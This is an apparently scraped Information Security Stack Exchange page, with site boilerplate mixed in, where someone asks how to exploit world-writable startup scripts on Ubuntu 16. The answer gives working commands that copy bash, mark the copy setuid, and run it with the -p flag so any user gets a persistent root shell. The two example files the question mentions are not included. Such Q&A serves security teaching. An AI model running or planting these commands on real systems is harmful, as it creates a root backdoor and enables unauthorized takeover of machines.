What are startup scripts in Linux and what are the steps to exploit startup scripts if they are world writable?
I would appreciate if one can explain based on the following two files as example in Ubuntu 16:
Information Security Stack Exchange is a question and answer site for information security professionals. It only takes a minute to sign up.Sign up to join this community
Arrange, to run as root:
cp $(which bash) $(which bash).muhaha chmod u+s $(which bash).muhaha
$(which bash).muhaha -p gives root to any user. You can even run a script as root with
$(which bash).muhaha -p /path/to/script.
-p option is necessary because otherwise
bash detects that it is
setuid and drops root privileges as a security measure.